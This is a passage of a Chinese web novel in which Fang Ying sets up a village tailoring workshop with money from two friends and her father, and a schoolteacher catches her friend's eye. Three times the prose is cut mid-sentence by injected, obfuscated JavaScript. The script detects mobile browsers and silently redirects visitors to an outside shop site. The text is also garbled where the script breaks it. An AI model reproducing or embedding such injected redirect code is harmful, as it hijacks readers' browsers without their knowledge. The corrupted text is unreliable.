她问道:“姐,你这里一天能卖出多少件衣服?需要多少货呢?” “我开这个店、加上去夜市和农贸市场摆摊子,一天卖出个几十件不成问题。我还有几个亲戚朋友,也是做服装生意的。”孙大姐爽朗地笑道:“妹儿,只要你做的成衣质量好款式新,尽管往姐这运,有多少我都收!” 方英看到挑战,也看到机遇。 来之前她原本打算,把崔裁缝留下的那两台闲置缝纫机买回家,和盼儿、枝枝一起每天做几件衣服,卖出去赚一点小钱,有份共同的小事业。 现在看来,她的事业,可以做得稍大一点。 离开孙大姐的服装店,于穹陪方英去了趟二手市场,询问二手缝纫机和锁边机的价格,又去了趟布料批发市场,了解多款布料成匹批发的价格。 回村的路上,她坐在自行车后座,沉默无言。 他问:“英子,你怎么这么安静,在想什么?” 她轻声笑了一下,“我在计算,开一家一天能生产几十件衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242718|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服的裁缝铺,需要多少钱。” “你算出来了吗?” “嗯,有个大致的数目。” 她再次陷入沉默,心中有些愁闷,因为她知道大概需要多少钱,却不知道这笔钱从何而来。 方英回到家时,家里的晚饭已经做好。 在饭桌上,她迟疑过后开口:“爸,你能借我些钱吗?” “你缺零花钱了?”方万春从兜里掏出一沓钱,从中抽出几张一元和几张零毛的给方英,“给,拿着花。” “这不够。”方英说道:“爸,你能借我一千块钱吗?” 方万春和英子妈两脸震惊,“你要那么多钱干啥用啊!?” “我想开个裁缝铺,以后做成衣卖给城里的服装店。”她认真讲道:“要买几台二手缝纫机,买几匹原料布,我还想在村里租个干净的空房子,雇几个年轻姑娘当工人,一起在那做衣服。” “我算了下,前期大概要投入一千块钱。爸,你先借我一千块,等我赚到钱了就还给你。” “老姑娘,你咋想一出是一出呢?”方万春眉头紧皱,无奈又生气,“一千块钱可不是小数目,咱农村谁家娶个媳妇儿,彩礼也就给千八百块。爸得给人打多少个柜子、多少个被橱才能挣一千啊?!” “再说了,你今年20也不小了,你不找婆家了?”方万春越说越气,声音越来越大,“还要开裁缝铺,瞎折腾啥啊?明天我就去找张大白话,让他给你介绍个对象,嫁出去得了!” 他话音刚落,一个瘦高个儿的中年男子开门闯进来,呲牙一笑露出两颗大板牙,模样有点奸诈,“方木匠,你要找我啊?” 方万春很意外,“张大白话,你咋来了?!真是说曹操曹操到。” 来人正是本村著名的媒人张长友,人送外号张大白话。他除了保媒拉纤,最爱趴墙根听八卦,到处传播闲话。不用说,他刚才在门外,肯定已经偷听了半天。 “这不是么,胜利屯老韩家三小子,托我给介绍对象,我看和你家英子挺合适,过来问问。”张大白话皮笑肉不笑,明知故问打探道:“万春,刚才我听个影儿,你们说什么裁缝铺、一千块钱,咋回事儿啊?” 方万春脸色难看,闷声说了句:“这孩子,不听话。” 张大白话脸上堆上假笑,对方英说:“英子,啥事儿还得听你爸的,早点结婚吧。叔给你介绍那老韩家三小子,人老实脾气还好,他家条件正经不错呢,你嫁过去肯定能享福……” 方英气呼呼的,固执倔强地丢下一句:“我不嫁!”放下碗筷下炕,回到她的西屋并且关上了门。 张大白话离开之后,这天晚上方家饭桌上发生的事很快传遍全村,可以概括为方英要开裁缝铺、朝方万春要一千块钱、方万春不愿给钱并发火。 当然,张大白话传播新闻时添枝加叶,对方英进行了贬义的批判,并且夸大了方家父女争吵的激烈程度。 村里的人,大多觉得方英不安分、不孝顺、不懂事。 只有三个人的看法与其他村民不同,丘盼儿、鲁枝枝,还有于穹。 他们想要支持方英,并且各自决定付诸行动。 14. 第14章 三个支持者 方英并没有因为父亲不支持和村里人说三道四而气馁郁闷,更不考虑止步不前。 她手里有朱武托人还回来的两百元钱,拿出一百元买下了崔裁缝留下的两台缝纫机。 两台机器都是这个年代的名牌机、成色不错、保养良好,她决定靠这两台缝纫机和手里剩下的一百元,从裁缝小作坊干起,做成衣卖给城里的服装店,赚到钱再一点点做大。 这天,她在家里,在本子上写写算算,研究剩下的一百元要怎么花,思考如何最大限度节约成本,花小钱办大事。 “英子,你猫家干啥呢?”鲁枝枝的声音传来。 方英抬起头,瞧见鲁枝枝和丘盼儿走进门,“你们俩来了啊!” 现在清明已过,天气回暖,但盼儿戴了个冬天时候的毛线帽,脑袋遮得严严实实,只露出白皙俏丽一张脸。 方英纳闷,“盼儿,今天这么暖和,你戴帽子不热吗?” 盼儿神情怪怪的,似尴尬又似闪躲,向下拉了拉帽边,低着头轻声说了句:“不热。” 枝枝盯着盼儿两秒,轻叹了口气,无奈又洒脱地说:“哎呀,摘了吧!” 她说罢,伸手揪掉盼儿的帽子。 方英看着盼儿,整个人瞬间愣住,极为震惊,目瞪口呆,“盼儿,你的头发?!你的头发怎么……?” 帽子下面,盼儿又黑又粗的两根过腰的长辫子不见了! 她的头发剪短了,长度只到耳下一点,看上去不是精心修剪,更不曾熨烫造型,短短的发梢倔强地七扭八歪、四处乱翘,凌乱而有些滑稽。 “盼儿,你不是最稀罕你的长头发吗?”方英十分诧异,“怎么剪成这样?” “我卖钱了。”盼儿抬手捋了捋现在的短发,似是有些怀念之前的长发,随后自豪得意道:“卖了80块钱呢!” 她从衣兜里拿出卖长头发的80块钱,递到方英面前,“姐们儿,给你!拿去开裁缝铺用。” 她露出笑容,真诚明媚,毫不计较。她最爱惜长头发,但好姐们儿对她来说,比她漂亮的长发更重要一百倍。 方英想开裁缝铺的消息被张大白话传遍全村,盼儿知道方英缺钱,也跟着发愁。 她家是个条件普通的农村家庭,家里姊妹多,还有一个弟弟,她平时的零花钱真的很少。盼儿思来想去,她最值钱的,就是她引以为傲的长发,所以她心一横,卖了长发换钱拿来支持方英。 方英带着哭腔,唤了一声:“盼儿……” 她看着盼儿的笑脸,看着她剪短的头发,感动得双眼泛红,泪水蓄满眼眶,流泪之前她却忍不住咯咯笑出声来,“盼儿,你的头发好丑……” “哼!臭英子,你笑话我!”盼儿气恼,拿起毛线帽再次戴到脑袋上,“我头发长得很快的,过些天长长能扎上就不丑了!” 收头发的小贩把她的长发一刀剪去,她想找人再修修型,又怕剪得更短更难养长,所以只得保持这样。她非常在意形象,这两天要么躲在家里不出门,要么出门就戴帽子。 方英忍住眼泪,也收起笑声,发自内心地说:“盼儿,你不用戴帽子,你长发短发,都很好看。” 盼儿摘掉帽子,娇矜一笑,“你这么说还差不多。” 方英拿着那80块钱,觉得沉甸甸的。 在这个年代,一个普通工人一个月的工资只有几十元钱,80元的价值自是不必多说。更何况,这是一个爱美的女孩子,用她最宝贵最珍惜的长发换来的。 她深深明白,这份情谊无价。 “谢谢你,盼儿。”方英认真说道:“这钱我不白要,算你入股。” 盼儿不解,“什么是入股?” 方英意识到,想要系统解释入股这个经济学概念属实不易。她想了一下简明易懂的说法,“就是合伙一起干,我投200,你投80,裁缝铺办起来不是我自己的,而是咱俩共同的。” “等挣到钱咱们按比例分,当然,如果赔钱,也是按比例一起赔。” 鲁枝枝思索道:“我听懂了!就相当于两家人插伙儿养老母猪。” “去年我三舅给我家送来挺多土豆子喂猪,前些天我家老母猪下猪羔子,就给他家抓去几只。” 方英笑着点头,“枝枝说得对,入股就是插伙!” “英子,算我一份!”枝枝从衣兜里掏出一卷钱,有零有整,共92.6元,“我也和你插伙开裁缝铺。” 方英看看鲁枝枝,她的一头自来卷还在,长度发量未变。方英疑惑,“枝枝,你这些钱是哪来的?” “是我卖小猪羔的钱。”枝枝讲道:“我妈说我喂猪辛苦,春天这茬猪羔卖的钱,她存一部分家用,给我一百今年零花。” 她憨憨笑了笑,“我买吃的花了七块四,剩下这些给你。” “行!”方英接过枝枝的钱,“枝枝,也算你入股。” 她清澈明亮的眼眸中闪烁着希望,看着她们说道:“咱们三个,一起插伙,开裁缝铺!” 盼儿和枝枝笑着齐声应道:“好!” 三个人行动起来,一起走出门,去往崔裁缝家搬缝纫机。 方英前几天,已经在村里找到了一处适合开裁缝铺的空房子。 是村民王大爷前两年盖的一个砖房,共三间,本来准备给儿子结婚当婚房用,但王大爷的儿子当兵转业后,分配了城里的工作,留在城里生活。所以那个砖房一直空置。 方英去王大爷家聊的时候,出乎意料非常顺利。 王大爷和王大娘说房子怕空不怕住,很乐意把房子租给方英开裁缝铺,并且表示本村人乡里乡亲,坚持一年只象征性地收个20块钱租金就好。 从崔裁缝家出来,方英和盼儿、枝枝抬着缝纫机,运往租的砖房。 搬运第二台缝纫机时,在村道上碰见于穹。 他远远大步跑过来,“英子,这缝纫机是谁家的?你们要搬去哪啊?” “这是崔裁缝之前的缝纫机,我买过来了。”方英对于穹微微笑了一下,“我租了王财大爷给儿子盖的砖房,准备在那开裁缝铺。我们要把缝纫机搬去那。” “哦,”于穹笑着说:“那很不错。” 方英注意到,于穹的笑容依然干净清爽,但他的神色之中,似乎隐约透着几分疲倦。 “于穹,好像有小半个月没见你了。”盼儿问:“最近剧团唱戏很忙吗?” 于穹点了一下头,“嗯,是有些忙。”他对盼儿和枝枝说:“盼儿、枝枝,你们俩回家吧,我帮英子把缝纫机搬过去。” 枝枝抓着缝纫机的一角没有松手,“不用你,我们仨抬得动。” 于穹嘴角掠过一抹无奈的浅笑,坦然说道:“我有话跟英子说。” 枝枝十分耿直,“英子不在这呢吗,你要说啥就说呗!” 于穹望了方英一眼,似笑非笑没有开口,像是有些难为情。方英不明所以,与于穹对视过后也不知该说什么。 盼儿悄悄观察着方英和于穹,在那两人目光交汇的瞬间,她敏锐地觉察出,他们之间有种暧昧的气息。 “这样吧,我和枝枝把缝纫机抬过去。”她对方英露出一个意味深长的笑,“英子,你在这和于穹说话。” 方英垂眸淡淡一笑,应了一声:“好吧。” 盼儿和枝枝走远后,她对于穹问道:“你要和我说什么?” 于穹迟疑一瞬,开口问道:“你和韩文生,见过面了吗?” 方英疑惑,“韩文生是谁?” “胜利屯老韩家的三儿子。”于穹顿了一下,“就是张大白话要给你介绍的对象。”他似乎有点紧张,小心翼翼问道:“你和他相过亲了吗?” “没有,我和他没见过。”方英对于相亲毫无兴趣,对韩文生也完全不在意,随口说了句:“听张大白话说,那人好像是个老实人,脾气挺好。” “你别信张大白话的话。”于穹表情变得认真,“我们剧团里有一个演员是胜利屯的,我跟他打听过韩文生,韩文生一点都不好。” 方英好奇问道:“韩文生怎么不好?” “他小时候得过脑膜炎,发烧把脑子烧坏了,长大之后也有点缺心眼。”于穹皱着眉头,“而且那人是半语子,说话不利索,口齿不清晰。” “他们家是烧酒卖酒的,据说韩文生还是个大酒包,喝了酒爱耍酒疯。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242719|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他看着她,眼神中除了担忧,还暗含说不清道不明的情愫,“英子,他配不上你,你不该嫁给他。” 方英实在没想到,于穹竟会对她说这些。她莫名发笑,脱口而出问道:“那我该嫁给谁?” 她说完这句玩笑话,立即意识到不妥,但话说出口无法收回,气氛瞬间变得尴尬。 于穹怔住几秒,“你可以谁也不嫁。虽然老辈人常说‘先成家后立业’,但我觉得无论男女,都应该先立业再成家。” 他目光闪烁,吞吞吐吐道:“等你以后,有了、有了真心喜欢的人,再考虑结婚、也不迟。” 方英微笑道:“你的想法很前卫。等几十年以后,很多年轻人,都是你这样的想法。”她洒脱坦然地说:“我现在没心思恋爱结婚,只想办好裁缝铺。” “租的房子还要收拾,我先过去了。” 她转身要走,被于穹叫住:“等一下!” “怎么?还有事吗?” 他从外套内侧口袋里拿出厚厚一沓钱,“这里是五百块钱,你拿去用。” “当我借给你的。”他深邃明亮的眼眸注视着她,含着温柔笑意和坚定支持,“等你的裁缝铺赚到钱了,再还给我,如果赚不到钱,就不用还了。” 方英惊呆,双目圆睁,看他手上的钱、看他洗得泛白的深蓝棉布夹克、看他坚定眼神里对她的信心。 她想,这是个穷人,这是个男人,这是个贫穷的男人。 一个贫穷的男人,竟然拿出这么多钱给一个女人,他一定是个绝世的好人。 她想他这么做的原因有两种可能。 第一种可能,他十分看好她的事业,认为她的裁缝铺能够轻而易举赚回五百元还给他。第二种可能,便是他喜欢她,所以愿意支持她,做她想做的事。 这一刻,仿佛有只活泼的兔子,在她的心上跳舞。无论哪一种可能,都令她心生欢喜。 同时,她非常惊诧,“你哪来的这么多钱啊!?” “有三百多是我在剧院唱戏,发的工钱一点点存下来的。”于穹勾唇一笑,“一百多是我近半个月,另外挣的。” “半个月挣一百多?!你干什么重活了?” “城里新开了家歌舞厅,我去那表演挣的。” 方英意外,“歌舞厅也演二人转吗?” “歌舞厅当然不演二人转,”于穹笑了笑说:“但是流行歌曲我也会唱,弹琴打鼓之类的乐器表演我也会呀!” “剧院没我戏的时候,我就去那表演。那里每天营业到后半夜,消费很高,老板赚得多,给表演的人开工钱自然也高。” 方英突然明白,为什么过去半个月都没见到他,为什么他看起来有点疲倦。 “于穹,你愿意支持我创业,我很感激。”她心里过意不去,“但这些钱是你辛辛苦苦赚的,我不能要。” “况且,你家里又不富裕,于爷爷和于奶奶身体不好,吃药打针也需要花钱。”她的话不带一丝冒犯,只有真诚,“你的钱用处很多,不应该给我。” 于穹坚持道:“英子,你就收下吧!不必客气,也不用想太多。” “我在剧院唱戏,赚的钱每个月都会交些给爸妈,给你这部分钱是我另外存的。”他云淡风轻地一笑,“他们也经常让我自己存些钱,留着以后……” 他突然停住话语,目光闪躲,片刻后低声嘀咕道:“娶媳妇儿用。” “你这样说,我更不敢要了!”方英说完这话,不由自主地红了脸颊。 “怎么?”他眼神含着笑意,和半遮半现的撩拨,清澈的声音轻轻说道:“你怕我以后,让你当我媳妇儿吗?” 方英又羞又恼,心底还有一丝丝奇妙的欣喜,她知他是在逗她,却期望他的玩笑夹杂真心。她的脸蛋变得更红,看着他一时间说不出话。 “英子!”远处母亲的呼唤声传来,“英子,跟妈回家吃饭啦!” 方英对于穹说了句:“我先走了。” 她终究没有拿他的钱,转身快步跑向母亲。 “英子,快跟妈回家,你爸在家等着呢。”英子妈眉眼含笑,神神秘秘道:“有好事儿。” 15. 第15章 裁缝铺创立 “好事?”方英疑惑,“妈,什么好事呀?” 英子妈脸上带笑,却不肯说,只拉着她快步往家走。 方英心里打鼓,头脑里闪过一个推测,母亲所说的好事,难道是给她安排了相亲?是不是张大白话带韩文生来家里了? 她尽量拖着脚步,却被母亲拽着,走得很快。 她已经从于穹处,得知了韩文生的情况,更何况她现在无心谈婚论嫁,所以她一定要让这次相亲失败。她一边走一边盘算,等下要如何战斗、如何逃跑。 回到家中,却不见韩文生、也不见张大白话,家里只有父亲一个人。 方万春坐在炕沿上,一只胳膊拄着旁边的柜盖,神情有些严肃,若有所思。 方英进门,唤了一声:“爸。” 方家饭桌上被张大白话撞见的那场争吵,已经过去将近半个月。这半个月里,方英并没有闹脾气,更不曾怨恨父亲。 因为她那天向父亲开口时,本就没报太大希望。 对于父亲不会帮她这件事,她早已习惯,从前是袁柔的时候就习以为常。 袁柔三岁那年,母亲因病去世,之后她跟着父亲生活。 她五岁那年,一个漂亮的阿姨嫁进门,第二年阿姨生了弟弟。从那以后,父亲和阿姨、弟弟成了亲密的一家人,她虽然和他们生活在一起,却成了家里的外人。 父亲从不会站在她这边,更不会为她撑腰,他教她最多的,就是忍让和道歉。 小的时候,弟弟抢她的玩具,父亲叫她忍让;上初中时,她被调皮的同学欺负,父亲反叫她道歉;大学毕业之后,家里没再给过她一分钱,却给弟弟买了房子和车,父亲依然叫她不要计较。 所以父亲这个角色对她来说,从来都不是一个会支持她帮助她的人。 以前她是袁柔时这么想,尽管现在她成为了方英,这个想法也并未改变。 “老姑娘回来了。”方万春看向方英,脸色温和了几分,“坐这,爸跟你说几句话。” 方英不明就里,走到父亲身旁,也在炕沿上坐下来。 方万春打开柜盖,从柜里拿出一个报纸包打开,里面是一捆钱,100张大团结,共计一千元整。 “这一千块钱,是爸今天去镇上信用社刚取回来的。”他声音低沉平静,缓缓说道:“本来是给你预备的嫁妆钱。你姐结婚那时候,咱家也陪送了一千。” 他面无波澜,下巴上的灰黑胡茬颤动了一下,“老姑娘,你想办裁缝铺,就拿去用吧。” “要买缝纫机就买缝纫机、要买布就买布,不够我和你妈还有点养老钱。”他嘴角浮现若有似无的深沉笑意,眼神倔强坚毅,“你爹我还能干动,将来你结婚的嫁妆,慢慢再攒。” 他拿着那捆大团结,递给方英。 方英心中五味杂陈,她的目光落在父亲手里的钱上,一张大团结的面额是10元,这个年代的10元钱,远比几十年后的10元钱价值更多。 她的思绪飘到袁柔13岁那年,有段时间父亲钱夹里总会莫名丢失些零钱。有一天她放学回家,父亲从她的书包里翻出来一张10元钱,一口咬定是她偷的。 那天父亲当着阿姨和弟弟的面,痛骂了她半个小时,还动手打了她一巴掌,罚她不准吃晚饭,严厉地吼她去思过。 夜里她饿着肚子,缩在被窝里无声哭泣了一宿,她不知道那张钱是哪来的,也实在想不通自己错在哪里。 直到多年以后,父亲病重,她请了几天假回家陪伴照顾。 父亲偶然说起,弟弟小时候有阵子爱偷钱,为了教育弟弟改正错误,他和阿姨一起想了个法子,演一出戏杀鸡儆猴。 那出戏里被杀掉的“鸡”,正是袁柔,那张10元钱是父亲悄悄放进她书包里,又故意翻找出来的。 当时父亲已经病入膏肓,行将就木,但讲起那事时,他的语气十分轻松,像在回忆弟弟成长过程中一件欢乐的趣事。弟弟和阿姨在一旁,和父亲一起说笑。 他们的笑声异常刺耳,仿佛一把把利刃扎在袁柔的心上。 在父亲心中,袁柔是杀鸡儆猴故事中的配角,也是他家庭里的配角,她微不足道、无足挂齿,可以被忽视、被冷落、甚至被欺负。 从前的袁柔太过窝囊懦弱,习惯了忍让和道歉,甚至不敢怨也不敢恨,和旁人一样把错误归咎于自己,然后咬碎牙往肚子里咽,吞声饮泣,默默承受。 现在她是方英,她好想去抱抱13岁的袁柔,替她擦去眼泪,坚定地告诉她,她没有错,错的人不是她。 “英子,你爸给你钱,快拿着呀!” 母亲的声音让方英回过神,她伸手要去拿钱,视线这一次聚焦在父亲的手掌。 这是一个农民的手,也是一位老木匠的手,手掌宽大厚实,掌心粗糙,布满细碎交错的蚂蚱口,黑色沉积在皲裂的深处,常年累月,已经无法洗净。 方英双手接过父亲手里那捆钱,情不自禁地红了眼眶。 “谢谢您,”她低着头,一滴泪啪嗒落在手里的钱上,四散溅开,她如孩童第一次叫爸爸一样,轻声唤道:“爸爸。” 方万春没对他的小女儿说安慰话或客套话,他站起身,“赶紧放桌子,收拾饭吃饭吧。” “吃完饭我去你租那老王家房子看看,那房子盖好空两年没住人,听王财说当初炕搭得不太好,不一定好烧。” “现在天暖和,你们在那不烧火也冷不哪去,等秋冬天冷了,早晚得烧炕。待会儿爸过去看看,帮你掏掏炕,尽早把炕整好烧了。” 他说罢,走去厨房盛饭盛菜。 母亲走过来,帮方英擦了擦泪,柔声说道:“傻孩子,哭啥。你是爸妈的老姑娘,你想办裁缝铺没钱,我们能眼瞅着你受憋着急上火吗?” 她压低嗓子,“你爸也心疼你,这半个月他都没睡好觉,天天寻思你这事儿。王财家砖房干净宽敞,你爸猜到你得租那闲房子,前些天都往王财家跑好几趟了。” 方英这才知道,原来父亲虽然嘴上反对,其实一直在支持她。 她恍然明白,王财大爷之所以那么好说话,爽快地将房子低价租给她,想必一定是看了父亲的面子。 她心里温暖感动,握着充足的资金更加干劲十足,暗暗发誓一定要将裁缝铺做好做大做强。 几天之后,一辆四轮拖拉机从县城开进村里,运来方英购入的另外五台二手缝纫机、一台锁边机、几匹布、几把电熨斗、几包扣子针线等等。 她的裁缝铺在这个春天正式办起来了。 一开始,村里人觉得她的生意未必靠谱,相当多一部分人,认为她完全是在瞎折腾。除了盼儿和枝枝,也没有别的姑娘愿意来当工人,都在悄悄观望。 不久后,她们将做好的第一批成衣卖给城里的服装店,三个人拿到数目不小的第一笔款回村,好消息爆炸式地在村里传开。 方英在村里的风评彻底变好,妇女们羡慕她,男人们也佩服她。 村里的大姑娘、小媳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242720|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妇、大姨、婶子纷纷来报名当工人,挤满了三间房。 她们围着方英,缠着她让她录用: “英子,咱们班儿大班儿的,上学时候咱俩还是同学呢!你不用别人,也得用我呀!” “英子姐,你别看我照你小三岁,但我从小就爱做针线活儿,我缝的布娃娃、布老虎可好玩呢!英子姐,你收下我吧,我也想赚零花钱。” “小方英儿,不是二婶吹,婶虽然没正经干过裁缝,但做衣服这块,婶在咱村谁也不服!我们家几个孩子的衣服,从小到大都是我做。不信你回家问问你妈,婶做活儿细致,使缝纫机也熟练。小英儿,你得招我!” “英子,你用四姨吧,姨跟你四姨父下地干农活累一天,回家还得做饭、喂猪打狗伺候他,他还埋怨我不挣钱靠他养活。你让姨跟你干,姨想挣钱,在老爷们儿面前扬眉吐气一把!” …… 方英很希望,能给全村妇女每人一个工作岗位,但现在裁缝铺的规模尚小,实在用不了太多人。 最后,她在众多应聘者中,选中7名勤劳麻利、踏实肯干的年轻姑娘加入裁缝铺。 这7个姑娘,加上盼儿、枝枝和她,共10人,组成裁缝铺的初创团队,在村里热热闹闹地干起事业。 她们的事业很红火,做出一批批款式新潮、做工优良的成衣卖给城里的服装店,再由服装店对外销售,卖得非常好。 方英是裁缝铺的创始人和领头人,她是姑娘们的老板和领导,同时更是她们的朋友和伙伴。 她与盼儿和枝枝的好姐们儿友谊,在共同奋斗中,一天天更加深厚。 为了掌握当下时装潮流,方英订购了很多服饰杂志。此外,还订了几家报纸,以及《妇女之友》、《知音》等女性和情感类杂志,买来很多科普书籍、文学名著放在裁缝铺的一角。 村里的女人们常来借阅,方英希望,在这个获取信息不便的年代,这些书报杂志能够稍稍充实她们的思想、武装她们的头脑。 忙碌奋斗的日子过得飞快,转眼一年过去,冰雪再次化尽,春风再度刮起。 盼儿的头发长长了些,在城里烫了时髦的造型,非常漂亮。 这天下午,她似有些心不在焉,匆匆缝制完几件衬衣,便起身要走,“英子,我有点事,先回家了。” “好。”方英随口问道:“盼儿,你家有什么事呀?”她拿起盼儿刚做的衬衣,一看皱起眉头,“这领子你缝歪了,前襟走线也不直。” 盼儿尴尬一笑,“明天,明天我过来拆了重改。” 方英纳闷,盼儿好像很着急要去哪里。 枝枝在一旁开口:“英子,你让她走吧!”她嘴角噙着笑,阴阳怪气地调侃:“她要去会情郎!” “情郎!?什么情郎?”方英很是诧异,好奇八卦问道:“盼儿,你处对象了?” “没有,”盼儿脸色娇羞,含糊遮掩道:“英子,你别听枝枝乱说!” “我可没乱说!”枝枝道:“英子,你还不知道呢,盼儿家前院老温家,来了个帅小伙儿,好像叫温清璞,是乡里中学新分配来的老师。” 枝枝瞥了盼儿一眼,似笑非笑道:“我和盼儿家住的近,前两天她端了盘饺子,巴巴给人家送去,那人跑后园子隔着墙接饺子,被我瞧见了。” 盼儿气红了脸,半天说出一句:“鲁枝枝,你真烦人!” 方英好奇心起,笑着说道:“我也想看看,这个温清璞,是个什么样的帅小伙儿。” 16. 第16章 文化人儿 方英放下手上的裁缝活儿,和枝枝、盼儿一起来到老温家。 进门却没瞧见什么年轻小伙儿,只有六十多岁的温良老两口在家。 三人打招呼道:“温大爷、温大娘,在家呢!” “哎哟,你们仨咋有空过来呢!”温大娘热情地叫她们坐,“最近裁缝铺忙不忙啊?” “还行。”方英微笑道:“最近订单是挺多的,不过我们都做一年了,现在干活熟练,虽然忙但不乱。” 温大娘夸赞道:“你们这些小姑娘真能干呐,比很多大小伙子都能抓钱!” “尤其是你英子,敢想敢干有魄力,带头把事业做这么红火,你真有本事。”她眼露羡慕向往,“大娘要是倒回去年轻个几十岁,也跟着你一起干。” “大娘您过奖了。”方英将带来的一件港风花衬衫交给温大娘,“大娘,这是您前几天找我们定做的衬衫,做好了今天给您送过来。” 裁缝铺现在主要对接城里的服装店,做成衣批量出售,但有时村里人想定做衣服,她们也会接点零活儿。 温大娘将衬衫套上身,走到镜子前照来照去,带着皱纹的脸上堆满开心满意的笑容,“哎呀,这衣裳太时髦了!样式真好看,大小我穿着正合适!” 一旁的温大爷却皱起眉,“这衣衫颜色红不溜秋、图案碎碎糟糟的,老婆子,你都多大岁数了,穿这个太花哨了吧?” 温大娘白了一眼温大爷,“你懂啥,我看英子她们订的那些杂志,上面的电影明星都穿这样衣服。” 她前几天去裁缝铺定做衬衫,原本打算选素色的布料、做普通的老款样式,但她随手翻看裁缝铺的时装杂志,看到上面的花衬衫十分喜欢。 在裁缝铺年轻姑娘们的劝说和鼓励下,她鼓起勇气定做了这件新潮衣服。 “我岁数大咋了?岁数大就不行爱美?”她呵呵笑道:“我今儿还就老来俏了!” “大娘,你本来也不老!”盼儿笑吟吟说:“穿着这花衬衫,更显得年轻。” 枝枝附和道:“对,温大娘,你腰板溜直,穿衣服有型。” “其实任何年纪的女性,都有追求时尚的权利。一件衣服再好看再时髦,也得穿在人身上才有价值。”方英笑着说:“大娘,您尽管穿着,以后有适合您的新的流行款,我还给您做。” “好好,太好了!”温大娘被夸得心花怒放,笑得合不拢嘴,她端来一盘炒熟的瓜子,热情地说:“你们仨先嗑会儿毛嗑,等会儿清璞回来了,你们在这一起吃完饭再走。” 方英和鲁枝枝眼神交流两秒,又玩味地望了丘盼儿一眼,笑了笑应道:“好哇。” 她们并非真的打算留下吃饭,只是想在这等温清璞回来,想看看盼儿爱慕的帅小伙儿是何许人也。 盼儿嘴角噙着微笑,轻轻问道:“大娘,温老师他快回来了吧?” 温大娘看了眼墙上的挂钟,“嗯,这个点应该快了。” 盼儿垂下眼眸,笑意加深。其实,她对温清璞回村的时间,了如指掌。 一星期前温清璞住进温家,盼儿偶然见到他,对他一见钟情。她喜欢看他,喜欢听他说话,想让他也喜欢她。 她打听到乡中学放学的时间,估算好他从乡里走回村里的耗时,这几天每天傍晚都掐着点儿去村口溜达,名为闲逛,实为等他,故意制造机会和他偶遇,再和他一起从村口慢慢走回各自家。 今天若不是方英和枝枝拉着她一起来老温家送衬衫,按原计划她还是会去村口等他的。 方英打听道:“大娘,这个温老师,是你们家的亲戚吗?” 温大娘点了一下头,“对,清璞是你大爷的远房侄子。” “他从师专院校毕业,前些天分配到咱们乡中学当老师。他家离咱这挺远,学校没给他安排房子住,所以他暂时住在我们家。” 这时,吱呀一声开门声响,一个年轻人进屋,将夹在腋下的几本书轻放到桌上,淡淡一笑道:“叔、婶,我回来了。” “清璞,来坐这儿。”温大爷介绍道:“这仨都是咱村的姑娘,方英子、鲁枝枝,”他指了指盼儿,“她你头几天认识了,是咱家后院老丘家的三闺女,丘盼儿。” 盼儿目光闪烁,不由自主地看向温清璞,下一秒又移开目光,脸上泛起似羞似喜的笑,抬起手理理衣领、又撩撩头发,小动作不太大方,有点矜持的做作。 温清璞没有坐在炕上,而是搬了把椅子,放在距离三个姑娘较远的位置,在椅子上端坐下来。 “你们年轻人一起唠唠嗑,”温大娘对温大爷说:“老头子,咱俩上厨房做饭去。” 温大爷应了一声,跟温大娘一起走去厨房,屋里剩下温清璞和三个姑娘。 方英坐在炕沿上,端详起温清璞。 她觉得面前这个人,一看就是个文化人儿。 他的穿着打扮、装束行头太过典型,十分符合方英对这个年代知识分子的刻板印象。 温清璞穿着一件浅灰色中山装,胸前口袋里别着两只钢笔,五官端正、脸颊较为瘦削,鼻梁上架着一副黑色圆框眼镜。 他看上去斯斯文文,彬彬有礼。 屋内安静片刻,方英先开口:“温老师,你在乡中学,是教哪一学科的?” 温清璞讲话慢条斯理,“我上师专的时候学的是数学,但是乡中学数学教师满员了,物理老师还缺人,所以分配了我去教物理。” 他说罢站起身,端起桌上的茶壶想往杯子里倒水,“我给你们三个倒点水喝。” 盼儿走上前,拿过温清璞手上的茶壶,柔声细语道:“我来吧,清璞。” 鲁枝枝不加掩饰地对盼儿翻了个白眼,她看不惯,她的姐们儿对男人殷勤。 她语气生硬中带着阴阳怪气,“丘盼儿,给我来杯水,我还真渴了。” 盼儿将水端给枝枝,背对着温清璞,对枝枝满不在乎地眨着眼睛嘟了一下嘴。 枝枝和方英并排坐在炕沿上,都读得懂盼儿的意思,她虽然没有说话,但她的表情仿佛在说:“我乐意~” 